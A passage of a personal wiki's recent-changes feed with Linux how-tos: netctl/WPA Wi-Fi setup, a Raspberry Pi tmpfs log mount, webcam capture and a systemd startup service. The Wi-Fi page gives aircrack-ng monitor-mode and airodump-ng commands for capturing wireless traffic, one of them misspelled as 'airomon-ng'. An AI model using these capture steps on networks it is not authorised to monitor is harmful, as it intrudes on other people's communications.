Install wpa_supplicant since it&#039;s required to connect to wpa networks:&lt;br /&gt;
 pacman -S wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
You will need to create a netctl profile in /etc/netctl. This can be done either manually or through the &amp;lt;code&amp;gt;wifi-menu&amp;lt;/code&amp;gt; command. Example WPA configuration files can be viewed in &amp;lt;code&amp;gt;/etc/netctl/examples/wireless-wpa&amp;lt;/code&amp;gt; and can be copied to &amp;lt;code&amp;gt;/etc/netctl&amp;lt;/code&amp;gt; and used as a template configuration file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
# cat /etc/netctl/wlan0-dd-wrt&lt;br /&gt;
Description=&#039;Automatically generated profile by wifi-menu&#039;&lt;br /&gt;
Interface=wlan0&lt;br /&gt;
Connection=wireless&lt;br /&gt;
Security=wpa&lt;br /&gt;
ESSID=dd-wrt&lt;br /&gt;
IP=dhcp&lt;br /&gt;
Key=\&amp;quot;f0c8a9e643*************************************************af10f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Your &amp;lt;code&amp;gt;Key&amp;lt;/code&amp;gt; can be your password or the PSK key generated using &amp;lt;code&amp;gt;wpa_passphrase&amp;lt;/code&amp;gt;. &amp;lt;code&amp;gt;wifi-menu&amp;lt;/code&amp;gt; will automatically generate and use the PSK key instead of storing the plain text copy of the password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
#  wpa_passphrase dd-wrt ap_password&lt;br /&gt;
network={&lt;br /&gt;
        ssid=&amp;quot;dd-wrt&amp;quot;&lt;br /&gt;
        #psk=&amp;quot;ap_password&amp;quot;&lt;br /&gt;
        psk=14c5441f17e930da158a71592c3c7914315424f08d03c225d1092076093c32ee&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can then connect to the access point by running:&lt;br /&gt;
 netctl start &#039;&#039;&#039;profile-name&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If it errors out, check the systemd logs using &amp;lt;code&amp;gt;journalctl -xe&amp;lt;/code&amp;gt;. If you&#039;re still having issues connecting, you may want to try reseating the wireless device or rebooting the machine.&lt;br /&gt;
&lt;br /&gt;
To make the machine join a wireless access point automatically, create a startup script (see [[Systemd]] for more information) containing:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
sh -c &#039;while ! netctl start wlan0-dd-wrt ; do echo Wi-Fi failed to come up. Retrying ; sleep 1 ; done&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== See Also ==&lt;br /&gt;
* https://wiki.archlinux.org/index.php/netctl&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Raspberry_Pi&amp;diff=910</id>
		<title>Raspberry Pi</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Raspberry_Pi&amp;diff=910"/>
		<updated>2015-03-23T07:21:54Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot; == Mounting &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; as tmpfs ==  Append to the &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; with the following line.  tmpfs           /var/log tmpfs nodev,nosuid,mode=0755,size=50m...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Mounting &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; as tmpfs ==&lt;br /&gt;
&lt;br /&gt;
Append to the &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; with the following line.&lt;br /&gt;
 tmpfs           /var/log tmpfs nodev,nosuid,mode=0755,size=50m  0 0&lt;br /&gt;
&lt;br /&gt;
This will mount &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; as a 50MB ramdisk. If your system is using &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;, this will break &amp;lt;code&amp;gt;systemd-journald&amp;lt;/code&amp;gt;. To fix it, you will need to [[Systemd|create a startup script]] after the mount has completed that creates the &amp;lt;code&amp;gt;journald&amp;lt;/code&amp;gt;&#039;s directory in &amp;lt;code&amp;gt;/var/log/journal/&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Reboot the Pi for the changes to take affect, or run &amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt; which will mount the ramdisk to /var/log immediately, though you&#039;ll need to restart any services that has handles to any files there.&lt;br /&gt;
&lt;br /&gt;
Why would you want to do this? To limit the amount of writes that is made to the SD card to prevent premature wearing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=909</id>
		<title>Webcam</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=909"/>
		<updated>2015-03-23T07:16:09Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot; == Linux == To get a webcam working for Linux, ensure that it&amp;#039;s supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should s...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Linux ==&lt;br /&gt;
To get a webcam working for Linux, ensure that it&#039;s supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should see a &amp;lt;code&amp;gt;/dev/videoS0&amp;lt;/code&amp;gt; device when the webcam is plugged into the computer. If not, check &amp;lt;code&amp;gt;dmesg&amp;lt;/code&amp;gt; and see if the USB device is being detected. &amp;lt;code&amp;gt;lsusb&amp;lt;/code&amp;gt; should also list it.&lt;br /&gt;
&lt;br /&gt;
To capture images, use any one of the following utilities:&lt;br /&gt;
* fswebcam&lt;br /&gt;
* uvccapture&lt;br /&gt;
&lt;br /&gt;
=== fswebcam ===&lt;br /&gt;
 fswebcam -r 640x480 --jpeg 85 -D 1 web-cam-shot.jpg&lt;br /&gt;
&lt;br /&gt;
=== uvccapture ===&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Wi-Fi&amp;diff=908</id>
		<title>Wi-Fi</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Wi-Fi&amp;diff=908"/>
		<updated>2015-03-23T07:07:35Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Monitoring Access Points ==&lt;br /&gt;
To monitor data on the wifi network, install aircrack-ng, then run:&lt;br /&gt;
 airomon-ng start wlan0&lt;br /&gt;
 airodump-ng wlan0&lt;br /&gt;
&lt;br /&gt;
You may get an error like:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[root@alarmpi ~]# airodump-ng wlan0&lt;br /&gt;
ioctl(SIOCSIWMODE) failed: Device or resource busy&lt;br /&gt;
&lt;br /&gt;
ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,&lt;br /&gt;
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead.  Make&lt;br /&gt;
sure RFMON is enabled: run &#039;airmon-ng start wlan0 &amp;lt;#&amp;gt;&#039;&lt;br /&gt;
Sysfs injection support was not found either.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Make sure that the wireless device is in the monitor mode and then try again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0&lt;br /&gt;
wlan0     IEEE 802.11bgn  ESSID:off/any&lt;br /&gt;
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm&lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
[root@alarmpi ~]# ifconfig wlan0 down&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0 mode monitor&lt;br /&gt;
[root@alarmpi ~]# ifconfig wlan0 up&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0&lt;br /&gt;
wlan0     IEEE 802.11bgn  Mode:Monitor  Frequency:2.422 GHz  Tx-Power=20 dBm&lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Automatically Connecting ==&lt;br /&gt;
Use the script in [[Systemd]] to automatically start scripts on boot time using systemd.&lt;br /&gt;
&lt;br /&gt;
Install wpa_supplicant since it&#039;s required to connect to wpa networks:&lt;br /&gt;
 pacman -S wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
You will need to create a netctl profile in /etc/netctl. This can be done either manually or through the &amp;lt;code&amp;gt;wifi-menu&amp;lt;/code&amp;gt; command. Example WPA configuration files can be viewed in &amp;lt;code&amp;gt;/etc/netctl/examples/wireless-wpa&amp;lt;/code&amp;gt; and can be copied to &amp;lt;code&amp;gt;/etc/netctl&amp;lt;/code&amp;gt; and used as a template configuration file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
# cat /etc/netctl/wlan0-dd-wrt&lt;br /&gt;
Description=&#039;Automatically generated profile by wifi-menu&#039;&lt;br /&gt;
Interface=wlan0&lt;br /&gt;
Connection=wireless&lt;br /&gt;
Security=wpa&lt;br /&gt;
ESSID=dd-wrt&lt;br /&gt;
IP=dhcp&lt;br /&gt;
Key=\&amp;quot;f0c8a9e643*************************************************af10f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Your &amp;lt;code&amp;gt;Key&amp;lt;/code&amp;gt; can be your password or the PSK key generated using &amp;lt;code&amp;gt;wpa_passphrase&amp;lt;/code&amp;gt;. &amp;lt;code&amp;gt;wifi-menu&amp;lt;/code&amp;gt; will automatically generate and use the PSK key instead of storing the plain text copy of the password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
#  wpa_passphrase dd-wrt ap_password&lt;br /&gt;
network={&lt;br /&gt;
        ssid=&amp;quot;dd-wrt&amp;quot;&lt;br /&gt;
        #psk=&amp;quot;ap_password&amp;quot;&lt;br /&gt;
        psk=14c5441f17e930da158a71592c3c7914315424f08d03c225d1092076093c32ee&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can then connect to the access point by running:&lt;br /&gt;
 netctl start &#039;&#039;&#039;profile-name&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If it errors out, check the systemd logs using &amp;lt;code&amp;gt;journalctl -xe&amp;lt;/code&amp;gt;. If you&#039;re still having issues connecting, you may want to try reseating the wireless device or rebooting the machine. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== See Also ==&lt;br /&gt;
* https://wiki.archlinux.org/index.php/netctl&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Systemd&amp;diff=907</id>
		<title>Systemd</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Systemd&amp;diff=907"/>
		<updated>2015-03-23T06:59:30Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== SystemV-like Init Scripts ==&lt;br /&gt;
&lt;br /&gt;
If you have custom packages that make use of the old SystemV startup scripts, you can use the following files to make use of such scripts.&lt;br /&gt;
&lt;br /&gt;
In &amp;lt;code&amp;gt;/usr/lib/systemd/system/startup.service&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Custom SystemV-like Startup&lt;br /&gt;
After=network.target&lt;br /&gt;
ConditionFileIsExecutable=/usr/local/sbin/custom-startup-initd&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type=oneshot&lt;br /&gt;
ExecStart=/usr/local/sbin/custom-startup-initd&lt;br /&gt;
TimeoutSec=0&lt;br /&gt;
StandardOutput=tty&lt;br /&gt;
RemainAfterExit=yes&lt;br /&gt;
SysVStartPriority=99&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A few things of interest.&lt;br /&gt;
* The &amp;lt;code&amp;gt;ConditionFileIsExecutable&amp;lt;/code&amp;gt; will only run the script if it&#039;s executable. It basically does a &amp;lt;code&amp;gt;test -x&amp;lt;/code&amp;gt; on the file before this continues.&lt;br /&gt;
* &amp;lt;code&amp;gt;RemainAfterExit&amp;lt;/code&amp;gt; will cause systemd to show the service as active even after the script has finished execution.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In &amp;lt;code&amp;gt;/usr/local/sbin/custom-startup-initd&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
StartupDir=&amp;quot;/usr/local/boot/startup&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Run all scripts starting with &#039;S&#039;&lt;br /&gt;
for i in `ls $StartupDir/S*` ; do&lt;br /&gt;
        ScriptName=`basename $i`&lt;br /&gt;
        sh $StartupDir/$ScriptName&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# Success exit code.&lt;br /&gt;
exit 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Make the directory: &lt;br /&gt;
 mkdir -p /usr/local/boot/startup/&lt;br /&gt;
&lt;br /&gt;
Then place your scripts in the startup directory starting with the letter &#039;S&#039;.&lt;br /&gt;
&lt;br /&gt;
Enable the new service by running:&lt;br /&gt;
 systemctl enable startup&lt;br /&gt;
 systemctl start startup&lt;br /&gt;
&lt;br /&gt;
Verify this:&lt;br /&gt;
 systemctl status startup.service&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Systemd&amp;diff=906</id>
		<title>Systemd</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Systemd&amp;diff=906"/>
		<updated>2015-03-23T06:58:10Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== SystemV-like Init Scripts ==&lt;br /&gt;
&lt;br /&gt;
If you have custom packages that make use of the old SystemV startup scripts, you can use the following files to make use of such scripts.&lt;br /&gt;
&lt;br /&gt;
In &amp;lt;code&amp;gt;/usr/lib/systemd/system/startup.service&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Custom SystemV-like Startup&lt;br /&gt;
After=network.target&lt;br /&gt;
ConditionFileIsExecutable=/usr/local/sbin/custom-startup-initd&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type=oneshot&lt;br /&gt;
ExecStart=/usr/local/sbin/custom-startup-initd&lt;br /&gt;
TimeoutSec=0&lt;br /&gt;
StandardOutput=tty&lt;br /&gt;
RemainAfterExit=yes&lt;br /&gt;
SysVStartPriority=99&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A few things of interest.&lt;br /&gt;
* The &amp;lt;code&amp;gt;ConditionFileIsExecutable&amp;lt;/code&amp;gt; will only run the script if it&#039;s executable. It basically does a &amp;lt;code&amp;gt;test -x&amp;lt;/code&amp;gt; on the file before this continues.&lt;br /&gt;
* &amp;lt;code&amp;gt;RemainAfterExit&amp;lt;/code&amp;gt; will cause systemd to show the service as active even after the script has finished execution.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In &amp;lt;code&amp;gt;/usr/local/sbin/custom-startup-initd&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
StartupDir=&amp;quot;/usr/local/boot/startup&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Run all scripts starting with &#039;S&#039;&lt;br /&gt;
for i in `ls $StartupDir/S*` ; do&lt;br /&gt;
        ScriptName=`basename $i`&lt;br /&gt;
        sh $StartupDir/$ScriptName&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# Success exit code.&lt;br /&gt;
exit 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Make the directory: &lt;br /&gt;
 mkdir -p /usr/local/boot/startup/&lt;br /&gt;
&lt;br /&gt;
Then place your scripts in the startup directory starting with the letter &#039;S&#039;.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Wi-Fi&amp;diff=905</id>
		<title>Wi-Fi</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Wi-Fi&amp;diff=905"/>
		<updated>2015-03-23T06:37:59Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: /* Automatically Connecting */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Monitoring Access Points ==&lt;br /&gt;
To monitor data on the wifi network, install aircrack-ng, then run:&lt;br /&gt;
 airomon-ng start wlan0&lt;br /&gt;
 airodump-ng wlan0&lt;br /&gt;
&lt;br /&gt;
You may get an error like:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[root@alarmpi ~]# airodump-ng wlan0&lt;br /&gt;
ioctl(SIOCSIWMODE) failed: Device or resource busy&lt;br /&gt;
&lt;br /&gt;
ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,&lt;br /&gt;
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead.  Make&lt;br /&gt;
sure RFMON is enabled: run &#039;airmon-ng start wlan0 &amp;lt;#&amp;gt;&#039;&lt;br /&gt;
Sysfs injection support was not found either.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Make sure that the wireless device is in the monitor mode and then try again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0&lt;br /&gt;
wlan0     IEEE 802.11bgn  ESSID:off/any&lt;br /&gt;
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm&lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
[root@alarmpi ~]# ifconfig wlan0 down&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0 mode monitor&lt;br /&gt;
[root@alarmpi ~]# ifconfig wlan0 up&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0&lt;br /&gt;
wlan0     IEEE 802.11bgn  Mode:Monitor  Frequency:2.422 GHz  Tx-Power=20 dBm&lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Automatically Connecting ==&lt;br /&gt;
Use the script in [[Systemd]] to automatically start scripts on boot time using systemd.&lt;br /&gt;
&lt;br /&gt;
Install dependencies:&lt;br /&gt;
 pacman -S wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Create a netctl profile in /etc/netctl. You can copy the example wpa configuration from &amp;lt;code&amp;gt;/etc/netctl/examples/wireless-wpa&amp;lt;/code&amp;gt; to &amp;lt;code&amp;gt;/etc/netctl&amp;lt;/code&amp;gt; and rename it to a desired name (It&#039;ll be your profile name).&lt;br /&gt;
&lt;br /&gt;
Edit the configuration and supply the WPA key. You may encode this using &amp;lt;code&amp;gt;wpa_passphrase&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start the wireless connection by running&lt;br /&gt;
 netctl start wireless-wpa&lt;br /&gt;
&lt;br /&gt;
== See Also ==&lt;br /&gt;
* https://wiki.archlinux.org/index.php/netctl&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
</feed>